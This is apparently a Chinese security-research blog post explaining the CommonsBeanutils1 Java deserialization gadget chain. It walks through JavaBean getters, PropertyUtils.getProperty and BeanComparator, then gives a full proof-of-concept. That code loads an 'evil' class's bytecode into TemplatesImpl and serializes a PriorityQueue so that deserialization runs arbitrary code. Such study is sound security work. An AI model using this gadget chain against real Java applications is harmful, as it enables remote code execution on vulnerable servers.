# Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对
象(也称为 JavaBean)的一些操作方法。
demo
1 2 3 4 5 6 7 8 9 final public class Cat {private String name = "catalina" ;public String getName () {return name;} public void setName (String name) {this .name = name;} }
包含私有属性 name
,两个方法,一个读取一个设置
getxxx
-> getter
, setxxx
-> setter
,全名符合骆驼式命名法
其中 commons-beanutils
中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任
意 JavaBean 的 getter 方法
1 PropertyUtils.getProperty(new Cat (), "name" );
commons-beanutils
还会自动调用 name
属性的 getter
方法。
PropertyUtils.getProperty
还支持递归获取属性
例如 a
对象中有 b
属性, b
中有 c
,那就可以通过 PropertyUtils.getProperty(a, "b.c");
递归获取对象。
来看下 org.apache.commons.beanutils.BeanComparator
下的 compare
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public int compare ( T o1, T o2 ) { if ( property == null ) { return internalCompare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException ( "IllegalAccessException: " + iae.toString() ); } catch ( InvocationTargetException ite ) { throw new RuntimeException ( "InvocationTargetException: " + ite.toString() ); } catch ( NoSuchMethodException nsme ) { throw new RuntimeException ( "NoSuchMethodException: " + nsme.toString() ); } }
而 TemplatesImpl#newTransformer()
的上一层调用方法 getOutputProperties()
是 get
开头,符合 getter
定义
对 TemplatesImpl 忘记流程的可以看下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.ki10MOc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CommonsBeanutils1 { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("H:\\Code\\JavaSecurityCode\\CommonsBeanutils1\\target\\classes\\evil\\EvilTemplatesImpl.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "ki10Moc" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add(1 ); queue.add(1 ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
# 省流
如果你了解 TemplatesImpl
和 CC2
的流程
前面的就都不用看了
只需要知道在 TemplatesImpl
中
1 2 3 4 5 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
最开始的方法 getOutputProperties
是以 get
开头,
而在 JavaBean
中
1 2 3 4 5 6 7 8 9 final public class Cat {private String name = "catalina" ;public String getName () {return name;} public void setName (String name) {this .name = name;} }
它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter
的方法名以 get 开头即 getter
方法
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任
意 JavaBean 的 getter 方法
1 PropertyUtils.getProperty(new Cat (), "name" );
两者结合起来即将 property
的值为 outputProperties
1 PropertyUtils.getProperty( o1, outputProperties);
就可以触发后面的任意代码了
写法没有什么奇特的